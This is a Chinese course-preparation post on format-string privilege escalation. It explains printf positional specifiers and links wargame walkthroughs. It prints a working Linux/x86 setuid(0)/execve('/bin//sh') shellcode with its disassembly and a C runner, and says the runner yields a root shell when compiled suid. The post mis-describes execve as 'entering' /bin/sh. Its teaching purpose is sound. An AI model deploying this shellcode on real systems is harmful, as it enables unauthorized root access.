软件安全实验——pre4(格式化字符串提权预习)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——pre4(格式化字符串提权预习)相关的知识,希望对你有一定的参考价值。

目录标题

2、

为了顺利完成下节课,建议仔细阅读下面这篇文章的Level 9部分:
https://infamoussyn.com/2013/09/11/smashthestack-io-walkthrough-part-b-levels-6-10/
https://tomasuh.github.io/2015/01/19/IO-Wargame.html
,文章中利用.dtors的办法只是利用格式化字符串执行shellcode的一种形式。
printf中%2$d这类格式的含义如下:

Character Description
n$
n is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. This is a POSIX extension and not in C99.
Example: printf("%2$d %1$#x %1$d",16,17) produces “17 0x10 16”

答:利用格式字符串漏洞和执行shellcode的最简单方法可能是使用我们的argv [1]的地址覆盖保存的返回地址。这意味着我们将在系统之间拥有两个非常便于携带的地址。

n是使用此格式说明符显示的参数的数量,允许使用不同的格式说明符或以不同的顺序多次输出所提供的参数。这是一个POSIX(可移植性操作系统接口)扩展而不是C99(C语言官方标准)中。

例如:printf("%2$d %1$#x %1$d",16,17) 生成 “17 0x10 16”

%2$d:第二参数的10进制格式
%1$#x:第一个参数的16进制形式,#(x):并在前面加上0x
%1$d:第一参数的10进制格式

3、

解释一下什么叫shellcode。下面这段代码被root编译并且suid后,普通用户是否能获得root shell?解释"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"其中的含义。

/*
 * gcc -z execstack -o setuid-linux setuid-linux.c *
 * setuid-linux.c - setuid/execve shellcode for Linux/x86
 
 * Short fully-functional setuid(0) and /bin/sh execve() shellcode.
 */

/* 
 * setuid(0)
 *
 * 8049380:       6a 17                   push   $0x17
 * 8049382:       58                      pop    %eax
 * 8049383:       31 db                   xor    %ebx,%ebx
 * 8049385:       cd 80                   int    $0x80
 *
 * execve("/bin//sh", ["/bin//sh"], NULL)
 *
 * 8049387:       6a 0b                   push   $0xb
 * 8049389:       58                      pop    %eax
 * 804938a:       99                      cltd   
 * 804938b:       52                      push   %edx
 * 804938c:       68 2f 2f 73 68          push   $0x68732f2f
 * 8049391:       68 2f 62 69 6e          push   $0x6e69622f
 * 8049396:       89 e3                   mov    %esp,%ebx
 * 8049398:       52                      push   %edx
 * 8049399:       53                      push   %ebx
 * 804939a:       89 e1                   mov    %esp,%ecx
 * 804939c:       cd 80                   int    $0x80
 */

char sc[] = /* 7 + 23 = 30 bytes */
"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80"
"\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80";

main()
{
	int (*f)() = (int (*)())sc; f();
}

答: Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
shellcode表面看起来是一种能起死回生的神秘数字,实际它只是一段机器码而已。那如何编写shellcode呢,通常有下面几个过程:

  1. 使用C语言描述shellcode要完成的逻辑功能
  2. 将C语言翻译成汇编语言
  3. 编译和测试
  4. 测试通过后提取机器码
    在这里插入图片描述
    (运行这段代码之后,普通用户能获得root权限)
    “\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80”
    就是上面C语言
    setuid(0);execve("/bin//sh", ["/bin//sh"], NULL)
    编译的汇编语言对应的机器码,先赋予当前进程root用户识别码0,再进入/bin/sh系统目录下。

以上是关于软件安全实验——pre4(格式化字符串提权预习)的主要内容,如果未能解决你的问题,请参考以下文章

软件安全实验——pre8(SQL注入预习)

软件安全实验——pre5(缓冲区溢出漏洞预习)

软件安全实验——pre6(整数溢出堆溢出栈溢出漏洞预习)

软件安全实验——pre11(XSS跨站脚本攻击预习)

软件安全实验——pre9(堆栈保护机制return-to-libc预习)

软件安全实验——pre7(JIT sprayheap spraySEH绕过DEP漏洞预习)